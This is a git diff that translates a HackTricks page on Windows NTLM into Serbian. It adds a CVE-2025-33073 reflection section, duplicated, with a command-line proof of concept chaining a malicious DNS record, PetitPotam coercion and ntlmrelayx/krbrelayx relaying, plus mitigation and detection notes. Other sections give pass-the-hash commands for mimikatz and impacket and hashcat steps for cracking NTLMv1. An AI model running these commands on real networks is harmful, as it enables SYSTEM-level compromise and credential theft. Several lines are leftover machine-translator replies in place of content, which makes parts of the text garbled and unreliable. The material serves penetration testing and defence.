mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/ntlm/README.md'] to sr
This commit is contained in:
parent
a0ecdcf71c
commit
bc3ad29548
@ -2,30 +2,76 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Osnovne informacije
|
||||
## NTLM & Kerberos *Reflection* via Serialized SPNs (CVE-2025-33073)
|
||||
|
||||
U okruženjima gde su **Windows XP i Server 2003** u upotrebi, koriste se LM (Lan Manager) hešovi, iako je široko prepoznato da se lako mogu kompromitovati. Određeni LM heš, `AAD3B435B51404EEAAD3B435B51404EE`, ukazuje na situaciju u kojoj LM nije korišćen, predstavljajući heš za prazan string.
|
||||
Windows sadrži nekoliko mitigacija koje pokušavaju da spreče *reflection* napade gde se NTLM (ili Kerberos) autentifikacija koja potiče sa jednog hosta ponovo šalje na **isti** host kako bi se dobile SYSTEM privilegije.
|
||||
|
||||
Podrazumevano, **Kerberos** autentifikacioni protokol je primarna metoda koja se koristi. NTLM (NT LAN Manager) dolazi u obzir pod određenim okolnostima: odsustvo Active Directory, nepostojanje domena, neispravnost Kerberosa zbog pogrešne konfiguracije, ili kada se pokušavaju povezati koristeći IP adresu umesto važećeg imena hosta.
|
||||
Microsoft je prekinuo većinu javnih lanaca sa MS08-068 (SMB→SMB), MS09-013 (HTTP→SMB), MS15-076 (DCOM→DCOM) i kasnijim zakrpama, međutim **CVE-2025-33073** pokazuje da se zaštite i dalje mogu zaobići zloupotrebom načina na koji **SMB klijent skraćuje Service Principal Names (SPNs)** koji sadrže *marshalled* (serijalizovane) informacije o cilju.
|
||||
|
||||
Prisutnost **"NTLMSSP"** header-a u mrežnim paketima signalizira NTLM autentifikacioni proces.
|
||||
### TL;DR greške
|
||||
1. Napadač registruje **DNS A-zapis** čija oznaka kodira marshalled SPN – npr.
|
||||
`srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50`
|
||||
2. Žrtva je primorana da se autentifikuje na to ime hosta (PetitPotam, DFSCoerce, itd.).
|
||||
3. Kada SMB klijent prosledi ciljni string `cifs/srv11UWhRCAAAAA…` `lsasrv!LsapCheckMarshalledTargetInfo`, poziv `CredUnmarshalTargetInfo` **uklanja** serijalizovani blob, ostavljajući **`cifs/srv1`**.
|
||||
4. `msv1_0!SspIsTargetLocalhost` (ili ekvivalent za Kerberos) sada smatra da je cilj *localhost* jer se kratki deo hosta poklapa sa imenom računara (`SRV1`).
|
||||
5. Kao posledica, server postavlja `NTLMSSP_NEGOTIATE_LOCAL_CALL` i injektuje **LSASS’ SYSTEM pristupni token** u kontekst (za Kerberos se kreira SYSTEM-označeni podsesijski ključ).
|
||||
6. Prosleđivanje te autentifikacije sa `ntlmrelayx.py` **ili** `krbrelayx.py` daje pune SYSTEM privilegije na istom hostu.
|
||||
|
||||
### Quick PoC
|
||||
```bash
|
||||
# Add malicious DNS record
|
||||
dnstool.py -u 'DOMAIN\\user' -p 'pass' 10.10.10.1 \
|
||||
-a add -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \
|
||||
-d 10.10.10.50
|
||||
|
||||
# Trigger authentication
|
||||
PetitPotam.py -u user -p pass -d DOMAIN \
|
||||
srv11UWhRCAAAAAAAAAAAAAAAAA… TARGET.DOMAIN.LOCAL
|
||||
|
||||
# Relay listener (NTLM)
|
||||
ntlmrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
|
||||
|
||||
# Relay listener (Kerberos) – remove NTLM mechType first
|
||||
krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
|
||||
```
|
||||
### Patch & Mitigations
|
||||
* KB patch for **CVE-2025-33073** dodaje proveru u `mrxsmb.sys::SmbCeCreateSrvCall` koja blokira bilo koju SMB vezu čiji cilj sadrži marširane informacije (`CredUnmarshalTargetInfo` ≠ `STATUS_INVALID_PARAMETER`).
|
||||
* Sprovodite **SMB potpisivanje** da sprečite refleksiju čak i na nepodmirenim hostovima.
|
||||
* Pratite DNS zapise koji liče na `*<base64>...*` i blokirajte koercione vektore (PetitPotam, DFSCoerce, AuthIP...).
|
||||
|
||||
### Detection ideas
|
||||
* Mrežne snimke sa `NTLMSSP_NEGOTIATE_LOCAL_CALL` gde IP klijenta ≠ IP servera.
|
||||
* Kerberos AP-REQ koji sadrži ključ podsesije i klijentski princip jednak imenu hosta.
|
||||
* Windows događaji 4624/4648 SYSTEM prijave odmah nakon daljinskih SMB pisanja sa istog hosta.
|
||||
|
||||
## References
|
||||
* [Synacktiv – NTLM Reflection is Dead, Long Live NTLM Reflection!](https://www.synacktiv.com/en/publications/la-reflexion-ntlm-est-morte-vive-la-reflexion-ntlm-analyse-approfondie-de-la-cve-2025.html)
|
||||
* [MSRC – CVE-2025-33073](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073)
|
||||
|
||||
## Basic Information
|
||||
|
||||
U okruženjima gde su **Windows XP i Server 2003** u upotrebi, LM (Lan Manager) hešovi se koriste, iako je široko prepoznato da se lako kompromituju. Poseban LM heš, `AAD3B435B51404EEAAD3B435B51404EE`, ukazuje na scenario gde LM nije korišćen, predstavljajući heš za prazan string.
|
||||
|
||||
Podrazumevano, **Kerberos** autentifikacioni protokol je primarna metoda koja se koristi. NTLM (NT LAN Manager) stupa na snagu pod određenim okolnostima: odsustvo Active Directory, nepostojanje domena, neispravnost Kerberosa zbog pogrešne konfiguracije, ili kada se pokušavaju veze koristeći IP adresu umesto važećeg imena hosta.
|
||||
|
||||
Prisutnost **"NTLMSSP"** zaglavlja u mrežnim paketima signalizira NTLM autentifikacioni proces.
|
||||
|
||||
Podrška za autentifikacione protokole - LM, NTLMv1 i NTLMv2 - omogućena je specifičnom DLL datotekom smeštenom na `%windir%\Windows\System32\msv1\_0.dll`.
|
||||
|
||||
**Ključne tačke**:
|
||||
**Key Points**:
|
||||
|
||||
- LM hešovi su ranjivi i prazan LM heš (`AAD3B435B51404EEAAD3B435B51404EE`) označava njegovo ne korišćenje.
|
||||
- Kerberos je podrazumevana autentifikaciona metoda, dok se NTLM koristi samo pod određenim uslovima.
|
||||
- NTLM autentifikacioni paketi su prepoznatljivi po "NTLMSSP" header-u.
|
||||
- Kerberos je podrazumevana metoda autentifikacije, dok se NTLM koristi samo pod određenim uslovima.
|
||||
- NTLM autentifikacijski paketi su prepoznatljivi po "NTLMSSP" zaglavlju.
|
||||
- LM, NTLMv1 i NTLMv2 protokoli su podržani od strane sistemske datoteke `msv1\_0.dll`.
|
||||
|
||||
## LM, NTLMv1 i NTLMv2
|
||||
## LM, NTLMv1 and NTLMv2
|
||||
|
||||
Možete proveriti i konfigurisati koji protokol će se koristiti:
|
||||
|
||||
### GUI
|
||||
|
||||
Izvršite _secpol.msc_ -> Lokalne politike -> Bezbednosne opcije -> Mrežna bezbednost: LAN Manager nivo autentifikacije. Postoji 6 nivoa (od 0 do 5).
|
||||
Izvršite _secpol.msc_ -> Lokalne politike -> Opcije bezbednosti -> Mrežna bezbednost: LAN Manager nivo autentifikacije. Postoji 6 nivoa (od 0 do 5).
|
||||
|
||||
.png>)
|
||||
|
||||
@ -50,14 +96,14 @@ Moguće vrednosti:
|
||||
2. Klijentska mašina **šalje zahtev za autentifikaciju** šaljući **ime domena** i **korisničko ime**
|
||||
3. **server** šalje **izazov**
|
||||
4. **klijent enkriptuje** **izazov** koristeći heš lozinke kao ključ i šalje ga kao odgovor
|
||||
5. **server šalje** **kontroloru domena** **ime domena, korisničko ime, izazov i odgovor**. Ako **nije** konfigurisan Active Directory ili je ime domena ime servera, akreditivi se **proveravaju lokalno**.
|
||||
5. **server šalje** **Kontroloru domena** **ime domena, korisničko ime, izazov i odgovor**. Ako **nije** konfigurisan Active Directory ili je ime domena ime servera, akreditivi se **proveravaju lokalno**.
|
||||
6. **kontrolor domena proverava da li je sve ispravno** i šalje informacije serveru
|
||||
|
||||
**server** i **kontrolor domena** mogu da kreiraju **sigurni kanal** putem **Netlogon** servera jer kontrolor domena zna lozinku servera (ona se nalazi u **NTDS.DIT** bazi).
|
||||
**server** i **Kontrolor domena** mogu da kreiraju **Sigurni Kanal** putem **Netlogon** servera jer Kontrolor domena zna lozinku servera (ona je unutar **NTDS.DIT** baze).
|
||||
|
||||
### Lokalna NTLM autentifikacija
|
||||
|
||||
Autentifikacija je kao ona pomenuta **ranije, ali** **server** zna **heš korisnika** koji pokušava da se autentifikuje unutar **SAM** fajla. Tako da, umesto da pita kontrolora domena, **server će sam proveriti** da li korisnik može da se autentifikuje.
|
||||
Autentifikacija je kao ona pomenuta **pre, ali** **server** zna **heš korisnika** koji pokušava da se autentifikuje unutar **SAM** fajla. Tako da, umesto da pita Kontrolora domena, **server će sam proveriti** da li korisnik može da se autentifikuje.
|
||||
|
||||
### NTLMv1 izazov
|
||||
|
||||
@ -81,7 +127,7 @@ Možete zloupotrebiti neke akreditive/sesije koje već imate na AD da **tražite
|
||||
Ako koristite `responder`, možete pokušati da **koristite flag `--lm`** da biste pokušali da **smanjite** **autentifikaciju**.\
|
||||
_Napomena da za ovu tehniku autentifikacija mora biti izvršena koristeći NTLMv1 (NTLMv2 nije validan)._
|
||||
|
||||
Zapamtite da će štampač koristiti račun računara tokom autentifikacije, a računi računara koriste **duge i slučajne lozinke** koje **verovatno nećete moći da probijete** koristeći uobičajene **rečnike**. Ali **NTLMv1** autentifikacija **koristi DES** ([više informacija ovde](#ntlmv1-challenge)), tako da koristeći neke usluge posebno posvećene probijanju DES-a, moći ćete da ga probijete (možete koristiti [https://crack.sh/](https://crack.sh) ili [https://ntlmv1.com/](https://ntlmv1.com) na primer).
|
||||
Zapamtite da će štampač koristiti račun računara tokom autentifikacije, a računi računara koriste **duge i slučajne lozinke** koje verovatno nećete moći da probijete koristeći uobičajene **rečnike**. Ali **NTLMv1** autentifikacija **koristi DES** ([više informacija ovde](#ntlmv1-challenge)), tako da koristeći neke usluge posebno posvećene probijanju DES-a, moći ćete da ga probijete (možete koristiti [https://crack.sh/](https://crack.sh) ili [https://ntlmv1.com/](https://ntlmv1.com) na primer).
|
||||
|
||||
### NTLMv1 napad sa hashcat
|
||||
|
||||
@ -126,7 +172,7 @@ Pokrenite hashcat (distribuirano je najbolje putem alata kao što je hashtopolis
|
||||
```bash
|
||||
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
|
||||
```
|
||||
U ovom slučaju znamo da je lozinka "password", tako da ćemo prevariti u svrhe demonstracije:
|
||||
U ovom slučaju znamo da je lozinka "password", tako da ćemo prevariti u svrhu demonstracije:
|
||||
```bash
|
||||
python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b
|
||||
DESKEY1: b55d6d04e67926
|
||||
@ -143,13 +189,13 @@ b4b9b02e6f09a9 # this is part 1
|
||||
./hashcat-utils/src/deskey_to_ntlm.pl bcba83e6895b9d
|
||||
bd760f388b6700 # this is part 2
|
||||
```
|
||||
Please provide the text you would like translated.
|
||||
I'm sorry, but I need the specific text you want translated in order to assist you. Please provide the content you would like me to translate.
|
||||
```bash
|
||||
./hashcat-utils/src/ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
|
||||
|
||||
586c # this is the last part
|
||||
```
|
||||
I'm sorry, but I need the specific text you would like me to translate in order to assist you. Please provide the content you want translated.
|
||||
Please provide the text you would like me to translate to Serbian.
|
||||
```bash
|
||||
NTHASH=b4b9b02e6f09a9bd760f388b6700586c
|
||||
```
|
||||
@ -157,7 +203,7 @@ NTHASH=b4b9b02e6f09a9bd760f388b6700586c
|
||||
|
||||
Dužina **izazova je 8 bajtova** i **2 odgovora se šalju**: Jedan je **24 bajta** dug i dužina **drugog** je **varijabilna**.
|
||||
|
||||
**Prvi odgovor** se kreira šifrovanjem koristeći **HMAC_MD5** **niz** sastavljen od **klijenta i domena** i koristeći kao **ključ** **MD4** heš **NT heša**. Zatim, **rezultat** će se koristiti kao **ključ** za šifrovanje koristeći **HMAC_MD5** **izazov**. Tome će se **dodati izazov klijenta od 8 bajtova**. Ukupno: 24 B.
|
||||
**Prvi odgovor** se kreira šifrovanjem koristeći **HMAC_MD5** string sastavljen od **klijenta i domena** i koristeći kao **ključ** **MD4 hash** **NT hash**. Zatim, **rezultat** će se koristiti kao **ključ** za šifrovanje koristeći **HMAC_MD5** **izazov**. Tome će se **dodati izazov klijenta od 8 bajtova**. Ukupno: 24 B.
|
||||
|
||||
**Drugi odgovor** se kreira koristeći **several values** (novi izazov klijenta, **vremensku oznaku** da bi se izbegli **replay napadi**...)
|
||||
|
||||
@ -165,14 +211,14 @@ Ako imate **pcap koji je uhvatio uspešan proces autentifikacije**, možete prat
|
||||
|
||||
## Pass-the-Hash
|
||||
|
||||
**Kada imate heš žrtve**, možete ga koristiti da **imituje**.\
|
||||
Treba da koristite **alat** koji će **izvršiti** **NTLM autentifikaciju koristeći** taj **heš**, **ili** možete kreirati novu **sessionlogon** i **ubaciti** taj **heš** unutar **LSASS**, tako da kada se izvrši bilo koja **NTLM autentifikacija**, taj **heš će biti korišćen.** Poslednja opcija je ono što radi mimikatz.
|
||||
**Kada imate hash žrtve**, možete ga koristiti da je **imituјete**.\
|
||||
Trebalo bi da koristite **alat** koji će **izvršiti** **NTLM autentifikaciju koristeći** taj **hash**, **ili** možete kreirati novu **sessionlogon** i **ubaciti** taj **hash** unutar **LSASS**, tako da kada se izvrši bilo koja **NTLM autentifikacija**, taj **hash će biti korišćen.** Poslednja opcija je ono što radi mimikatz.
|
||||
|
||||
**Molimo vas, zapamtite da možete izvesti Pass-the-Hash napade takođe koristeći račune računara.**
|
||||
|
||||
### **Mimikatz**
|
||||
|
||||
**Treba da se pokrene kao administrator**
|
||||
**Mora se pokrenuti kao administrator**
|
||||
```bash
|
||||
Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"'
|
||||
```
|
||||
@ -180,7 +226,7 @@ Ovo će pokrenuti proces koji će pripadati korisnicima koji su pokrenuli mimika
|
||||
|
||||
### Pass-the-Hash sa linux-a
|
||||
|
||||
Možete dobiti izvršavanje koda na Windows mašinama koristeći Pass-the-Hash sa Linux-a.\
|
||||
Možete dobiti izvršenje koda na Windows mašinama koristeći Pass-the-Hash sa Linux-a.\
|
||||
[**Pristupite ovde da naučite kako to uraditi.**](https://github.com/carlospolop/hacktricks/blob/master/windows/ntlm/broken-reference/README.md)
|
||||
|
||||
### Impacket Windows kompajlirani alati
|
||||
@ -189,7 +235,7 @@ Možete preuzeti [impacket binarne datoteke za Windows ovde](https://github.com/
|
||||
|
||||
- **psexec_windows.exe** `C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local`
|
||||
- **wmiexec.exe** `wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local`
|
||||
- **atexec.exe** (U ovom slučaju morate navesti komandu, cmd.exe i powershell.exe nisu validni za dobijanje interaktivne ljuske) `C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'`
|
||||
- **atexec.exe** (U ovom slučaju morate navesti komandu, cmd.exe i powershell.exe nisu validni za dobijanje interaktivne ljuske)`C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'`
|
||||
- Postoji još nekoliko Impacket binarnih datoteka...
|
||||
|
||||
### Invoke-TheHash
|
||||
@ -240,11 +286,11 @@ wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>
|
||||
|
||||
## Napad Interni Monolog
|
||||
|
||||
Napad Interni Monolog je suptilna tehnika ekstrakcije kredencijala koja omogućava napadaču da preuzme NTLM hešove sa žrtvinog računara **bez direktne interakcije sa LSASS procesom**. Za razliku od Mimikatz-a, koji čita hešove direktno iz memorije i često ga blokiraju rešenja za bezbednost krajnjih tačaka ili Credential Guard, ovaj napad koristi **lokalne pozive NTLM autentifikacionom paketu (MSV1_0) putem Interfejsa za podršku bezbednosti (SSPI)**. Napadač prvo **smanjuje NTLM podešavanja** (npr., LMCompatibilityLevel, NTLMMinClientSec, RestrictSendingNTLMTraffic) kako bi osigurao da je NetNTLMv1 dozvoljen. Zatim se pretvara u postojeće korisničke tokene dobijene iz aktivnih procesa i pokreće NTLM autentifikaciju lokalno kako bi generisao NetNTLMv1 odgovore koristeći poznati izazov.
|
||||
Napad Interni Monolog je suptilna tehnika ekstrakcije kredencijala koja omogućava napadaču da preuzme NTLM hešove sa žrtvine mašine **bez direktne interakcije sa LSASS procesom**. Za razliku od Mimikatz-a, koji čita hešove direktno iz memorije i često ga blokiraju rešenja za bezbednost krajnjih tačaka ili Credential Guard, ovaj napad koristi **lokalne pozive NTLM autentifikacionom paketu (MSV1_0) putem Interfejsa za podršku bezbednosti (SSPI)**. Napadač prvo **smanjuje NTLM podešavanja** (npr. LMCompatibilityLevel, NTLMMinClientSec, RestrictSendingNTLMTraffic) kako bi osigurao da je NetNTLMv1 dozvoljen. Zatim se pretvara u postojeće korisničke tokene dobijene iz pokrenutih procesa i pokreće NTLM autentifikaciju lokalno kako bi generisao NetNTLMv1 odgovore koristeći poznati izazov.
|
||||
|
||||
Nakon hvatanja ovih NetNTLMv1 odgovora, napadač može brzo povratiti originalne NTLM hešove koristeći **prekomponovane rainbow tabele**, omogućavajući dalja Pass-the-Hash napade za lateralno kretanje. Ključno je da napad Interni Monolog ostaje suptilan jer ne generiše mrežni saobraćaj, ne ubrizgava kod, niti pokreće direktne dump-ove memorije, što ga čini teže uočljivim za odbrambene mehanizme u poređenju sa tradicionalnim metodama poput Mimikatz-a.
|
||||
|
||||
Ako NetNTLMv1 nije prihvaćen—zbog primenjenih bezbednosnih politika, napadač može da ne uspe da dobije NetNTLMv1 odgovor.
|
||||
Ako NetNTLMv1 nije prihvaćen—zbog primenjenih bezbednosnih politika, napadač može propasti u pokušaju da dobije NetNTLMv1 odgovor.
|
||||
|
||||
Da bi se ovaj slučaj obradio, alat Interni Monolog je ažuriran: Dinamički stiče server token koristeći `AcceptSecurityContext()` kako bi i dalje **uhvatio NetNTLMv2 odgovore** ako NetNTLMv1 ne uspe. Iako je NetNTLMv2 mnogo teže probiti, i dalje otvara put za napade preusmeravanja ili offline brute-force u ograničenim slučajevima.
|
||||
|
||||
@ -258,8 +304,54 @@ PoC se može naći na **[https://github.com/eladshamir/Internal-Monologue](https
|
||||
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
## Parsiranje NTLM izazova iz mrežnog snimka
|
||||
## Parsiranje NTLM izazova iz mrežnog hvatanja
|
||||
|
||||
**Možete koristiti** [**https://github.com/mlgualtieri/NTLMRawUnHide**](https://github.com/mlgualtieri/NTLMRawUnHide)
|
||||
|
||||
## NTLM & Kerberos *Refleksija* putem Serijalizovanih SPN-ova (CVE-2025-33073)
|
||||
|
||||
Windows sadrži nekoliko mitigacija koje pokušavaju da spreče *refleksivne* napade gde se NTLM (ili Kerberos) autentifikacija koja potiče sa hosta preusmerava nazad na **isti** host kako bi se stekle SYSTEM privilegije.
|
||||
|
||||
Microsoft je prekinuo većinu javnih lanaca sa MS08-068 (SMB→SMB), MS09-013 (HTTP→SMB), MS15-076 (DCOM→DCOM) i kasnijim zakrpama, međutim **CVE-2025-33073** pokazuje da se zaštite i dalje mogu zaobići zloupotrebom načina na koji **SMB klijent skraćuje Imena Servisnih Principala (SPN)** koja sadrže *marširane* (serijalizovane) informacije o cilju.
|
||||
|
||||
### TL;DR greške
|
||||
1. Napadač registruje **DNS A-zapis** čija oznaka kodira marširani SPN – npr.
|
||||
`srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50`
|
||||
2. Žrtva je primorana da se autentifikuje na to ime hosta (PetitPotam, DFSCoerce, itd.).
|
||||
3. Kada SMB klijent prosledi ciljni string `cifs/srv11UWhRCAAAAA…` funkciji `lsasrv!LsapCheckMarshalledTargetInfo`, poziv `CredUnmarshalTargetInfo` **uklanja** serijalizovani blob, ostavljajući **`cifs/srv1`**.
|
||||
4. `msv1_0!SspIsTargetLocalhost` (ili ekvivalent za Kerberos) sada smatra da je cilj *localhost* jer se kratki deo hosta poklapa sa imenom računara (`SRV1`).
|
||||
5. Kao posledica toga, server postavlja `NTLMSSP_NEGOTIATE_LOCAL_CALL` i ubrizgava **LSASS-ov SYSTEM pristupni token** u kontekst (za Kerberos se kreira SYSTEM-označeni podključ sesije).
|
||||
6. Preusmeravanje te autentifikacije sa `ntlmrelayx.py` **ili** `krbrelayx.py` daje pune SYSTEM privilegije na istom hostu.
|
||||
|
||||
### Brza PoC
|
||||
```bash
|
||||
# Add malicious DNS record
|
||||
dnstool.py -u 'DOMAIN\\user' -p 'pass' 10.10.10.1 \
|
||||
-a add -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \
|
||||
-d 10.10.10.50
|
||||
|
||||
# Trigger authentication
|
||||
PetitPotam.py -u user -p pass -d DOMAIN \
|
||||
srv11UWhRCAAAAAAAAAAAAAAAAA… TARGET.DOMAIN.LOCAL
|
||||
|
||||
# Relay listener (NTLM)
|
||||
ntlmrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
|
||||
|
||||
# Relay listener (Kerberos) – remove NTLM mechType first
|
||||
krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
|
||||
```
|
||||
### Patch & Mitigations
|
||||
* KB zakrpa za **CVE-2025-33073** dodaje proveru u `mrxsmb.sys::SmbCeCreateSrvCall` koja blokira svaku SMB vezu čiji cilj sadrži marširane informacije (`CredUnmarshalTargetInfo` ≠ `STATUS_INVALID_PARAMETER`).
|
||||
* Sprovodite **SMB potpisivanje** da biste sprečili refleksiju čak i na neispravnim hostovima.
|
||||
* Pratite DNS zapise koji liče na `*<base64>...*` i blokirajte koercione vektore (PetitPotam, DFSCoerce, AuthIP...).
|
||||
|
||||
### Detection ideas
|
||||
* Mrežni snimci sa `NTLMSSP_NEGOTIATE_LOCAL_CALL` gde IP klijenta ≠ IP servera.
|
||||
* Kerberos AP-REQ koji sadrži ključ podsesije i klijentski princip jednak imenu hosta.
|
||||
* Windows događaj 4624/4648 SYSTEM prijave odmah nakon daljinskih SMB pisanja sa istog hosta.
|
||||
|
||||
## References
|
||||
* [Synacktiv – NTLM Reflection is Dead, Long Live NTLM Reflection!](https://www.synacktiv.com/en/publications/la-reflexion-ntlm-est-morte-vive-la-reflexion-ntlm-analyse-approfondie-de-la-cve-2025.html)
|
||||
* [MSRC – CVE-2025-33073](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user